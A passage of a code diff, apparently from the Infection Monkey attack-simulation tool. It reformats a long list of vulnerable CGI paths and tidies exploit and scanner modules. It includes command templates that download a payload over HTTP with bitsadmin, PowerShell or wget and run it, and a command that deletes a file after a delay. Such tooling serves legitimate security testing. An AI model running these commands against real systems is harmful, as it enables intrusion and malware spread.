- r'/cgi-bin/way-board/way-board.cgi',
- r'/cgi-bin/webbbs.cgi',
- r'/cgi-bin/webcart/webcart.cgi',
- r'/cgi-bin/webdist.cgi',
- r'/cgi-bin/webif.cgi',
- r'/cgi-bin/webmail/html/emumail.cgi',
- r'/cgi-bin/webmap.cgi',
- r'/cgi-bin/webspirs.cgi',
- r'/cgi-bin/Web_Store/web_store.cgi',
- r'/cgi-bin/whois.cgi',
- r'/cgi-bin/whois_raw.cgi',
- r'/cgi-bin/whois/whois.cgi',
- r'/cgi-bin/wrap',
- r'/cgi-bin/wrap.cgi',
- r'/cgi-bin/wwwboard.cgi.cgi',
- r'/cgi-bin/YaBB/YaBB.cgi',
- r'/cgi-bin/zml.cgi',
- r'/cgi-mod/index.cgi',
- r'/cgis/wwwboard/wwwboard.cgi',
- r'/cgi-sys/addalink.cgi',
- r'/cgi-sys/defaultwebpage.cgi',
- r'/cgi-sys/domainredirect.cgi',
- r'/cgi-sys/entropybanner.cgi',
- r'/cgi-sys/entropysearch.cgi',
- r'/cgi-sys/FormMail-clone.cgi',
- r'/cgi-sys/helpdesk.cgi',
- r'/cgi-sys/mchat.cgi',
- r'/cgi-sys/randhtml.cgi',
- r'/cgi-sys/realhelpdesk.cgi',
- r'/cgi-sys/realsignup.cgi',
- r'/cgi-sys/signup.cgi',
- r'/connector.cgi',
- r'/cp/rac/nsManager.cgi',
- r'/create_release.sh',
- r'/CSNews.cgi',
- r'/csPassword.cgi',
- r'/dcadmin.cgi',
- r'/dcboard.cgi',
- r'/dcforum.cgi',
- r'/dcforum/dcforum.cgi',
- r'/debuff.cgi',
- r'/debug.cgi',
- r'/details.cgi',
- r'/edittag/edittag.cgi',
- r'/emumail.cgi',
- r'/enter_buff.cgi',
- r'/enter_bug.cgi',
- r'/ez2000/ezadmin.cgi',
- r'/ez2000/ezboard.cgi',
- r'/ez2000/ezman.cgi',
- r'/fcgi-bin/echo',
- r'/fcgi-bin/echo',
- r'/fcgi-bin/echo2',
- r'/fcgi-bin/echo2',
- r'/Gozila.cgi',
- r'/hitmatic/analyse.cgi',
- r'/hp_docs/cgi-bin/index.cgi',
- r'/html/cgi-bin/cgicso',
- r'/html/cgi-bin/cgicso',
- r'/index.cgi',
- r'/info.cgi',
- r'/infosrch.cgi',
- r'/login.cgi',
- r'/mailview.cgi',
- r'/main.cgi',
- r'/megabook/admin.cgi',
- r'/ministats/admin.cgi',
- r'/mods/apage/apage.cgi',
- r'/_mt/mt.cgi',
- r'/musicqueue.cgi',
- r'/ncbook.cgi',
- r'/newpro.cgi',
- r'/newsletter.sh',
- r'/oem_webstage/cgi-bin/oemapp_cgi',
- r'/page.cgi',
- r'/parse_xml.cgi',
- r'/photodata/manage.cgi',
- r'/photo/manage.cgi',
- r'/print.cgi',
- r'/process_buff.cgi',
- r'/process_bug.cgi',
- r'/pub/english.cgi',
- r'/quikmail/nph-emumail.cgi',
- r'/quikstore.cgi',
- r'/reviews/newpro.cgi',
- r'/ROADS/cgi-bin/search.pl',
- r'/sample01.cgi',
- r'/sample02.cgi',
- r'/sample03.cgi',
- r'/sample04.cgi',
- r'/sampleposteddata.cgi',
- r'/scancfg.cgi',
- r'/scancfg.cgi',
- r'/servers/link.cgi',
- r'/setpasswd.cgi',
- r'/SetSecurity.shm',
- r'/shop/member_html.cgi',
- r'/shop/normal_html.cgi',
- r'/site_searcher.cgi',
- r'/siteUserMod.cgi',
- r'/submit.cgi',
- r'/technote/print.cgi',
- r'/template.cgi',
- r'/test.cgi',
- r'/ucsm/isSamInstalled.cgi',
- r'/upload.cgi',
- r'/userreg.cgi',
- r'/users/scripts/submit.cgi',
- r'/vood/cgi-bin/vood_view.cgi',
- r'/Web_Store/web_store.cgi',
- r'/webtools/bonsai/ccvsblame.cgi',
- r'/webtools/bonsai/cvsblame.cgi',
- r'/webtools/bonsai/cvslog.cgi',
- r'/webtools/bonsai/cvsquery.cgi',
- r'/webtools/bonsai/cvsqueryform.cgi',
- r'/webtools/bonsai/showcheckins.cgi',
- r'/wwwadmin.cgi',
- r'/wwwboard.cgi',
- r'/wwwboard/wwwboard.cgi')
\ No newline at end of file
+CGI_FILES = (
+ r'/',
+ r'/admin.cgi',
+ r'/administrator.cgi',
+ r'/agora.cgi',
+ r'/aktivate/cgi-bin/catgy.cgi',
+ r'/analyse.cgi',
+ r'/apps/web/vs_diag.cgi',
+ r'/axis-cgi/buffer/command.cgi',
+ r'/b2-include/b2edit.showposts.php',
+ r'/bandwidth/index.cgi',
+ r'/bigconf.cgi',
+ r'/cartcart.cgi',
+ r'/cart.cgi',
+ r'/ccbill/whereami.cgi',
+ r'/cgi-bin/14all-1.1.cgi',
+ r'/cgi-bin/14all.cgi',
+ r'/cgi-bin/a1disp3.cgi',
+ r'/cgi-bin/a1stats/a1disp3.cgi',
+ r'/cgi-bin/a1stats/a1disp4.cgi',
+ r'/cgi-bin/addbanner.cgi',
+ r'/cgi-bin/add_ftp.cgi',
+ r'/cgi-bin/adduser.cgi',
+ r'/cgi-bin/admin/admin.cgi',
+ r'/cgi-bin/admin.cgi',
+ r'/cgi-bin/admin/getparam.cgi',
+ r'/cgi-bin/adminhot.cgi',
+ r'/cgi-bin/admin.pl',
+ r'/cgi-bin/admin/setup.cgi',
+ r'/cgi-bin/adminwww.cgi',
+ r'/cgi-bin/af.cgi',
+ r'/cgi-bin/aglimpse.cgi',
+ r'/cgi-bin/alienform.cgi',
+ r'/cgi-bin/AnyBoard.cgi',
+ r'/cgi-bin/architext_query.cgi',
+ r'/cgi-bin/astrocam.cgi',
+ r'/cgi-bin/AT-admin.cgi',
+ r'/cgi-bin/AT-generate.cgi',
+ r'/cgi-bin/auction/auction.cgi',
+ r'/cgi-bin/auktion.cgi',
+ r'/cgi-bin/ax-admin.cgi',
+ r'/cgi-bin/ax.cgi',
+ r'/cgi-bin/axs.cgi',
+ r'/cgi-bin/badmin.cgi',
+ r'/cgi-bin/banner.cgi',
+ r'/cgi-bin/bannereditor.cgi',
+ r'/cgi-bin/bb-ack.sh',
+ r'/cgi-bin/bb-histlog.sh',
+ r'/cgi-bin/bb-hist.sh',
+ r'/cgi-bin/bb-hostsvc.sh',
+ r'/cgi-bin/bb-replog.sh',
+ r'/cgi-bin/bb-rep.sh',
+ r'/cgi-bin/bbs_forum.cgi',
+ r'/cgi-bin/bigconf.cgi',
+ r'/cgi-bin/bizdb1-search.cgi',
+ r'/cgi-bin/blog/mt-check.cgi',
+ r'/cgi-bin/blog/mt-load.cgi',
+ r'/cgi-bin/bnbform.cgi',
+ r'/cgi-bin/book.cgi',
+ r'/cgi-bin/boozt/admin/index.cgi',
+ r'/cgi-bin/bsguest.cgi',
+ r'/cgi-bin/bslist.cgi',
+ r'/cgi-bin/build.cgi',
+ r'/cgi-bin/bulk/bulk.cgi',
+ r'/cgi-bin/cached_feed.cgi',
+ r'/cgi-bin/cachemgr.cgi',
+ r'/cgi-bin/calendar/index.cgi',
+ r'/cgi-bin/cartmanager.cgi',
+ r'/cgi-bin/cbmc/forums.cgi',
+ r'/cgi-bin/ccvsblame.cgi',
+ r'/cgi-bin/c_download.cgi',
+ r'/cgi-bin/cgforum.cgi',
+ r'/cgi-bin/.cgi',
+ r'/cgi-bin/cgi_process',
+ r'/cgi-bin/classified.cgi',
+ r'/cgi-bin/classifieds.cgi',
+ r'/cgi-bin/classifieds/classifieds.cgi',
+ r'/cgi-bin/classifieds/index.cgi',
+ r'/cgi-bin/.cobalt/alert/service.cgi',
+ r'/cgi-bin/.cobalt/message/message.cgi',
+ r'/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi',
+ r'/cgi-bin/commandit.cgi',
+ r'/cgi-bin/commerce.cgi',
+ r'/cgi-bin/common/listrec.pl',
+ r'/cgi-bin/compatible.cgi',
+ r'/cgi-bin/Count.cgi',
+ r'/cgi-bin/csChatRBox.cgi',
+ r'/cgi-bin/csGuestBook.cgi',
+ r'/cgi-bin/csLiveSupport.cgi',
+ r'/cgi-bin/CSMailto.cgi',
+ r'/cgi-bin/CSMailto/CSMailto.cgi',
+ r'/cgi-bin/csNews.cgi',
+ r'/cgi-bin/csNewsPro.cgi',
+ r'/cgi-bin/csPassword.cgi',
+ r'/cgi-bin/csPassword/csPassword.cgi',
+ r'/cgi-bin/csSearch.cgi',
+ r'/cgi-bin/csv_db.cgi',
+ r'/cgi-bin/cvsblame.cgi',
+ r'/cgi-bin/cvslog.cgi',
+ r'/cgi-bin/cvsquery.cgi',
+ r'/cgi-bin/cvsqueryform.cgi',
+ r'/cgi-bin/day5datacopier.cgi',
+ r'/cgi-bin/day5datanotifier.cgi',
+ r'/cgi-bin/db_manager.cgi',
+ r'/cgi-bin/dbman/db.cgi',
+ r'/cgi-bin/dcforum.cgi',
+ r'/cgi-bin/dcshop.cgi',
+ r'/cgi-bin/dfire.cgi',
+ r'/cgi-bin/diagnose.cgi',
+ r'/cgi-bin/dig.cgi',
+ r'/cgi-bin/directorypro.cgi',
+ r'/cgi-bin/download.cgi',
+ r'/cgi-bin/e87_Ba79yo87.cgi',
+ r'/cgi-bin/emu/html/emumail.cgi',
+ r'/cgi-bin/emumail.cgi',
+ r'/cgi-bin/emumail/emumail.cgi',
+ r'/cgi-bin/enter.cgi',
+ r'/cgi-bin/environ.cgi',
+ r'/cgi-bin/ezadmin.cgi',
+ r'/cgi-bin/ezboard.cgi',
+ r'/cgi-bin/ezman.cgi',
+ r'/cgi-bin/ezshopper2/loadpage.cgi',
+ r'/cgi-bin/ezshopper3/loadpage.cgi',
+ r'/cgi-bin/ezshopper/loadpage.cgi',
+ r'/cgi-bin/ezshopper/search.cgi',
+ r'/cgi-bin/faqmanager.cgi',
+ r'/cgi-bin/FileSeek2.cgi',
+ r'/cgi-bin/FileSeek.cgi',
+ r'/cgi-bin/finger.cgi',
+ r'/cgi-bin/flexform.cgi',
+ r'/cgi-bin/fom.cgi',
+ r'/cgi-bin/fom/fom.cgi',
+ r'/cgi-bin/FormHandler.cgi',
+ r'/cgi-bin/FormMail.cgi',
+ r'/cgi-bin/gbadmin.cgi',
+ r'/cgi-bin/gbook/gbook.cgi',
+ r'/cgi-bin/generate.cgi',
+ r'/cgi-bin/getdoc.cgi',
+ r'/cgi-bin/gH.cgi',
+ r'/cgi-bin/gm-authors.cgi',
+ r'/cgi-bin/gm.cgi',
+ r'/cgi-bin/gm-cplog.cgi',
+ r'/cgi-bin/guestbook.cgi',
+ r'/cgi-bin/handler',
+ r'/cgi-bin/handler.cgi',
+ r'/cgi-bin/handler/netsonar',
+ r'/cgi-bin/hitview.cgi',
+ r'/cgi-bin/hsx.cgi',
+ r'/cgi-bin/html2chtml.cgi',
+ r'/cgi-bin/html2wml.cgi',
+ r'/cgi-bin/htsearch.cgi',
+ r'/cgi-bin/hw.sh', # testing
+ r'/cgi-bin/icat',
+ r'/cgi-bin/if/admin/nph-build.cgi',
+ r'/cgi-bin/ikonboard/help.cgi',
+ r'/cgi-bin/ImageFolio/admin/admin.cgi',
+ r'/cgi-bin/imageFolio.cgi',
+ r'/cgi-bin/index.cgi',
+ r'/cgi-bin/infosrch.cgi',
+ r'/cgi-bin/jammail.pl',
+ r'/cgi-bin/journal.cgi',
+ r'/cgi-bin/lastlines.cgi',
+ r'/cgi-bin/loadpage.cgi',
+ r'/cgi-bin/login.cgi',
+ r'/cgi-bin/logit.cgi',
+ r'/cgi-bin/log-reader.cgi',
+ r'/cgi-bin/lookwho.cgi',
+ r'/cgi-bin/lwgate.cgi',
+ r'/cgi-bin/MachineInfo',
+ r'/cgi-bin/MachineInfo',
+ r'/cgi-bin/magiccard.cgi',
+ r'/cgi-bin/mail/emumail.cgi',
+ r'/cgi-bin/maillist.cgi',
+ r'/cgi-bin/mailnews.cgi',
+ r'/cgi-bin/mail/nph-mr.cgi',
+ r'/cgi-bin/main.cgi',
+ r'/cgi-bin/main_menu.pl',
+ r'/cgi-bin/man.sh',
+ r'/cgi-bin/mini_logger.cgi',
+ r'/cgi-bin/mmstdod.cgi',
+ r'/cgi-bin/moin.cgi',
+ r'/cgi-bin/mojo/mojo.cgi',
+ r'/cgi-bin/mrtg.cgi',
+ r'/cgi-bin/mt.cgi',
+ r'/cgi-bin/mt/mt.cgi',
+ r'/cgi-bin/mt/mt-check.cgi',
+ r'/cgi-bin/mt/mt-load.cgi',
+ r'/cgi-bin/mt-static/mt-check.cgi',
+ r'/cgi-bin/mt-static/mt-load.cgi',
+ r'/cgi-bin/musicqueue.cgi',
+ r'/cgi-bin/myguestbook.cgi',
+ r'/cgi-bin/.namazu.cgi',
+ r'/cgi-bin/nbmember.cgi',
+ r'/cgi-bin/netauth.cgi',
+ r'/cgi-bin/netpad.cgi',
+ r'/cgi-bin/newsdesk.cgi',
+ r'/cgi-bin/nlog-smb.cgi',
+ r'/cgi-bin/nph-emumail.cgi',
+ r'/cgi-bin/nph-exploitscanget.cgi',
+ r'/cgi-bin/nph-publish.cgi',
+ r'/cgi-bin/nph-test.cgi',
+ r'/cgi-bin/pagelog.cgi',
+ r'/cgi-bin/pbcgi.cgi',
+ r'/cgi-bin/perlshop.cgi',
+ r'/cgi-bin/pfdispaly.cgi',
+ r'/cgi-bin/pfdisplay.cgi',
+ r'/cgi-bin/phf.cgi',
+ r'/cgi-bin/photo/manage.cgi',
+ r'/cgi-bin/photo/protected/manage.cgi',
+ r'/cgi-bin/php-cgi',
+ r'/cgi-bin/php.cgi',
+ r'/cgi-bin/php.fcgi',
+ r'/cgi-bin/ping.sh',
+ r'/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi',
+ r'/cgi-bin/pollssi.cgi',
+ r'/cgi-bin/postcards.cgi',
+ r'/cgi-bin/powerup/r.cgi',
+ r'/cgi-bin/printenv',
+ r'/cgi-bin/probecontrol.cgi',
+ r'/cgi-bin/profile.cgi',
+ r'/cgi-bin/publisher/search.cgi',
+ r'/cgi-bin/quickstore.cgi',
+ r'/cgi-bin/quizme.cgi',
+ r'/cgi-bin/ratlog.cgi',
+ r'/cgi-bin/r.cgi',
+ r'/cgi-bin/register.cgi',
+ r'/cgi-bin/replicator/webpage.cgi/',
+ r'/cgi-bin/responder.cgi',
+ r'/cgi-bin/robadmin.cgi',
+ r'/cgi-bin/robpoll.cgi',
+ r'/cgi-bin/rtpd.cgi',
+ r'/cgi-bin/sbcgi/sitebuilder.cgi',
+ r'/cgi-bin/scoadminreg.cgi',
+ r'/cgi-bin-sdb/printenv',
+ r'/cgi-bin/sdbsearch.cgi',
+ r'/cgi-bin/search',
+ r'/cgi-bin/search.cgi',
+ r'/cgi-bin/search/search.cgi',
+ r'/cgi-bin/sendform.cgi',
+ r'/cgi-bin/shop.cgi',
+ r'/cgi-bin/shopper.cgi',
+ r'/cgi-bin/shopplus.cgi',
+ r'/cgi-bin/showcheckins.cgi',
+ r'/cgi-bin/simplestguest.cgi',
+ r'/cgi-bin/simplestmail.cgi',
+ r'/cgi-bin/smartsearch.cgi',
+ r'/cgi-bin/smartsearch/smartsearch.cgi',
+ r'/cgi-bin/snorkerz.bat',
+ r'/cgi-bin/snorkerz.bat',
+ r'/cgi-bin/snorkerz.cmd',
+ r'/cgi-bin/snorkerz.cmd',
+ r'/cgi-bin/sojourn.cgi',
+ r'/cgi-bin/spin_client.cgi',
+ r'/cgi-bin/start.cgi',
+ r'/cgi-bin/status',
+ r'/cgi-bin/status_cgi',
+ r'/cgi-bin/store/agora.cgi',
+ r'/cgi-bin/store.cgi',
+ r'/cgi-bin/store/index.cgi',
+ r'/cgi-bin/survey.cgi',
+ r'/cgi-bin/sync.cgi',
+ r'/cgi-bin/talkback.cgi',
+ r'/cgi-bin/technote/main.cgi',
+ r'/cgi-bin/test2.pl',
+ r'/cgi-bin/test-cgi',
+ r'/cgi-bin/test.cgi',
+ r'/cgi-bin/testing_whatever',
+ r'/cgi-bin/test/test.cgi',
+ r'/cgi-bin/tidfinder.cgi',
+ r'/cgi-bin/tigvote.cgi',
+ r'/cgi-bin/title.cgi',
+ r'/cgi-bin/top.cgi',
+ r'/cgi-bin/traffic.cgi',
+ r'/cgi-bin/troops.cgi',
+ r'/cgi-bin/ttawebtop.cgi/',
+ r'/cgi-bin/ultraboard.cgi',
+ r'/cgi-bin/upload.cgi',
+ r'/cgi-bin/urlcount.cgi',
+ r'/cgi-bin/viewcvs.cgi',
+ r'/cgi-bin/view_help.cgi',
+ r'/cgi-bin/viralator.cgi',
+ r'/cgi-bin/virgil.cgi',
+ r'/cgi-bin/vote.cgi',
+ r'/cgi-bin/vpasswd.cgi',
+ r'/cgi-bin/way-board.cgi',
+ r'/cgi-bin/way-board/way-board.cgi',
+ r'/cgi-bin/webbbs.cgi',
+ r'/cgi-bin/webcart/webcart.cgi',
+ r'/cgi-bin/webdist.cgi',
+ r'/cgi-bin/webif.cgi',
+ r'/cgi-bin/webmail/html/emumail.cgi',
+ r'/cgi-bin/webmap.cgi',
+ r'/cgi-bin/webspirs.cgi',
+ r'/cgi-bin/Web_Store/web_store.cgi',
+ r'/cgi-bin/whois.cgi',
+ r'/cgi-bin/whois_raw.cgi',
+ r'/cgi-bin/whois/whois.cgi',
+ r'/cgi-bin/wrap',
+ r'/cgi-bin/wrap.cgi',
+ r'/cgi-bin/wwwboard.cgi.cgi',
+ r'/cgi-bin/YaBB/YaBB.cgi',
+ r'/cgi-bin/zml.cgi',
+ r'/cgi-mod/index.cgi',
+ r'/cgis/wwwboard/wwwboard.cgi',
+ r'/cgi-sys/addalink.cgi',
+ r'/cgi-sys/defaultwebpage.cgi',
+ r'/cgi-sys/domainredirect.cgi',
+ r'/cgi-sys/entropybanner.cgi',
+ r'/cgi-sys/entropysearch.cgi',
+ r'/cgi-sys/FormMail-clone.cgi',
+ r'/cgi-sys/helpdesk.cgi',
+ r'/cgi-sys/mchat.cgi',
+ r'/cgi-sys/randhtml.cgi',
+ r'/cgi-sys/realhelpdesk.cgi',
+ r'/cgi-sys/realsignup.cgi',
+ r'/cgi-sys/signup.cgi',
+ r'/connector.cgi',
+ r'/cp/rac/nsManager.cgi',
+ r'/create_release.sh',
+ r'/CSNews.cgi',
+ r'/csPassword.cgi',
+ r'/dcadmin.cgi',
+ r'/dcboard.cgi',
+ r'/dcforum.cgi',
+ r'/dcforum/dcforum.cgi',
+ r'/debuff.cgi',
+ r'/debug.cgi',
+ r'/details.cgi',
+ r'/edittag/edittag.cgi',
+ r'/emumail.cgi',
+ r'/enter_buff.cgi',
+ r'/enter_bug.cgi',
+ r'/ez2000/ezadmin.cgi',
+ r'/ez2000/ezboard.cgi',
+ r'/ez2000/ezman.cgi',
+ r'/fcgi-bin/echo',
+ r'/fcgi-bin/echo',
+ r'/fcgi-bin/echo2',
+ r'/fcgi-bin/echo2',
+ r'/Gozila.cgi',
+ r'/hitmatic/analyse.cgi',
+ r'/hp_docs/cgi-bin/index.cgi',
+ r'/html/cgi-bin/cgicso',
+ r'/html/cgi-bin/cgicso',
+ r'/index.cgi',
+ r'/info.cgi',
+ r'/infosrch.cgi',
+ r'/login.cgi',
+ r'/mailview.cgi',
+ r'/main.cgi',
+ r'/megabook/admin.cgi',
+ r'/ministats/admin.cgi',
+ r'/mods/apage/apage.cgi',
+ r'/_mt/mt.cgi',
+ r'/musicqueue.cgi',
+ r'/ncbook.cgi',
+ r'/newpro.cgi',
+ r'/newsletter.sh',
+ r'/oem_webstage/cgi-bin/oemapp_cgi',
+ r'/page.cgi',
+ r'/parse_xml.cgi',
+ r'/photodata/manage.cgi',
+ r'/photo/manage.cgi',
+ r'/print.cgi',
+ r'/process_buff.cgi',
+ r'/process_bug.cgi',
+ r'/pub/english.cgi',
+ r'/quikmail/nph-emumail.cgi',
+ r'/quikstore.cgi',
+ r'/reviews/newpro.cgi',
+ r'/ROADS/cgi-bin/search.pl',
+ r'/sample01.cgi',
+ r'/sample02.cgi',
+ r'/sample03.cgi',
+ r'/sample04.cgi',
+ r'/sampleposteddata.cgi',
+ r'/scancfg.cgi',
+ r'/scancfg.cgi',
+ r'/servers/link.cgi',
+ r'/setpasswd.cgi',
+ r'/SetSecurity.shm',
+ r'/shop/member_html.cgi',
+ r'/shop/normal_html.cgi',
+ r'/site_searcher.cgi',
+ r'/siteUserMod.cgi',
+ r'/submit.cgi',
+ r'/technote/print.cgi',
+ r'/template.cgi',
+ r'/test.cgi',
+ r'/ucsm/isSamInstalled.cgi',
+ r'/upload.cgi',
+ r'/userreg.cgi',
+ r'/users/scripts/submit.cgi',
+ r'/vood/cgi-bin/vood_view.cgi',
+ r'/Web_Store/web_store.cgi',
+ r'/webtools/bonsai/ccvsblame.cgi',
+ r'/webtools/bonsai/cvsblame.cgi',
+ r'/webtools/bonsai/cvslog.cgi',
+ r'/webtools/bonsai/cvsquery.cgi',
+ r'/webtools/bonsai/cvsqueryform.cgi',
+ r'/webtools/bonsai/showcheckins.cgi',
+ r'/wwwadmin.cgi',
+ r'/wwwboard.cgi',
+ r'/wwwboard/wwwboard.cgi'
+)
diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py
index fc2fd764d..9aba749a7 100644
--- a/monkey/infection_monkey/exploit/struts2.py
+++ b/monkey/infection_monkey/exploit/struts2.py
@@ -3,13 +3,14 @@
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
-import urllib.request, urllib.error, urllib.parse
import http.client
-import unicodedata
+import logging
import re
import ssl
+import urllib.error
+import urllib.parse
+import urllib.request
-import logging
from infection_monkey.exploit.web_rce import WebRCE
__author__ = "VakarisZ"
diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py
index 297e064fc..b31e67137 100644
--- a/monkey/infection_monkey/exploit/tools/http_tools.py
+++ b/monkey/infection_monkey/exploit/tools/http_tools.py
@@ -1,14 +1,16 @@
import logging
import os
import os.path
-import urllib.request, urllib.parse, urllib.error
+import urllib.error
+import urllib.parse
+import urllib.request
from threading import Lock
+from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
+from infection_monkey.model import DOWNLOAD_TIMEOUT
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.transport import HTTPServer, LockedHTTPServer
-from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
-from infection_monkey.model import DOWNLOAD_TIMEOUT
__author__ = 'itamar'
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index a1da97efe..257cfd469 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -39,7 +39,8 @@ class WmiExploiter(HostExploiter):
password_hashed = self._config.hash_sensitive_data(password)
lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
- creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): ({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
+ creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \
+ "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
wmi_connection = WmiTools.WmiConnection()
diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py
index 88b7f9fd9..928425535 100644
--- a/monkey/infection_monkey/main.py
+++ b/monkey/infection_monkey/main.py
@@ -1,5 +1,3 @@
-
-
import argparse
import json
import logging
@@ -23,8 +21,11 @@ LOG = None
LOG_CONFIG = {'version': 1,
'disable_existing_loggers': False,
- 'formatters': {'standard': {
- 'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
+ 'formatters': {
+ 'standard': {
+ 'format':
+ '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'
+ },
},
'handlers': {'console': {'class': 'logging.StreamHandler',
'level': 'DEBUG',
diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
index 3e333a26d..254bce966 100644
--- a/monkey/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
@@ -11,11 +11,14 @@ MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
-MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
-DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
+MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
+ '/c %%(monkey_path)s %s"' % (MONKEY_ARG, )
+DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
+ 'file_path)s exit)) > NUL 2>&1 '
# Commands used for downloading monkeys
-POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
+POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \
+ "monkey_path)s\' -UseBasicParsing\" "
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
diff --git a/monkey/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py
index c5ddef1aa..b65443c76 100644
--- a/monkey/infection_monkey/monkeyfs.py
+++ b/monkey/infection_monkey/monkeyfs.py
@@ -34,7 +34,6 @@ class VirtualFile(BytesIO):
return path in VirtualFile._vfs
-
def getsize(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.getsize(path)
diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py
index 16af673b1..06d98dcbd 100644
--- a/monkey/infection_monkey/network/firewall.py
+++ b/monkey/infection_monkey/network/firewall.py
@@ -8,6 +8,7 @@ def _run_netsh_cmd(command, args):
if value])), stdout=subprocess.PIPE)
return cmd.stdout.read().strip().lower().endswith('ok.')
+
class FirewallApp(object):
def is_enabled(self, **kwargs):
return False
@@ -83,9 +84,9 @@ class WinAdvFirewall(FirewallApp):
for rule in list(self._rules.values()):
if rule.get('program') == sys.executable and \
- 'in' == rule.get('dir') and \
- 'allow' == rule.get('action') and \
- 4 == len(list(rule.keys())):
+ 'in' == rule.get('dir') and \
+ 'allow' == rule.get('action') and \
+ 4 == len(list(rule.keys())):
return True
return False
diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py
index 30292d99f..935d397d9 100644
--- a/monkey/infection_monkey/network/httpfinger.py
+++ b/monkey/infection_monkey/network/httpfinger.py
@@ -39,7 +39,7 @@ class HTTPFinger(HostFinger):
ssl = True if 'https://' in url else False
self.init_service(host.services, ('tcp-' + port[1]), port[0])
host.services['tcp-' + port[1]]['name'] = 'http'
- host.services['tcp-' + port[1]]['data'] = (server,ssl)
+ host.services['tcp-' + port[1]]['data'] = (server, ssl)
LOG.info("Port %d is open on host %s " % (port[0], host))
break # https will be the same on the same port
except Timeout:
diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py
index bf215168e..b76db8ad3 100644
--- a/monkey/infection_monkey/network/ping_scanner.py
+++ b/monkey/infection_monkey/network/ping_scanner.py
@@ -20,7 +20,6 @@ LOG = logging.getLogger(__name__)
class PingScanner(HostScanner, HostFinger):
-
_SCANNED_SERVICE = ''
def __init__(self):
@@ -49,14 +48,12 @@ class PingScanner(HostScanner, HostFinger):
if not "win32" == sys.platform:
timeout /= 1000
- sub_proc = subprocess.Popen(["ping",
- PING_COUNT_FLAG,
- "1",
- PING_TIMEOUT_FLAG,
- str(timeout), host.ip_addr],
- stdout=subprocess.PIPE,
- stderr=subprocess.PIPE,
- text=True)
+ sub_proc = subprocess.Popen(
+ ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ text=True
+ )
output = " ".join(sub_proc.communicate())
regex_result = self._ttl_regex.search(output)
diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py
index 8a267e9d1..7224e032c 100644
--- a/monkey/infection_monkey/network/smbfinger.py
+++ b/monkey/infection_monkey/network/smbfinger.py
@@ -30,7 +30,7 @@ class Packet:
return b"".join(content_list)
-##### SMB Packets #####
+# SMB Packets
class SMBHeader(Packet):
fields = odict([
("proto", b"\xff\x53\x4d\x42"),
@@ -92,7 +92,13 @@ class SMBSessionFingerData(Packet):
("capabilities", b"\xd4\x00\x00\xa0"),
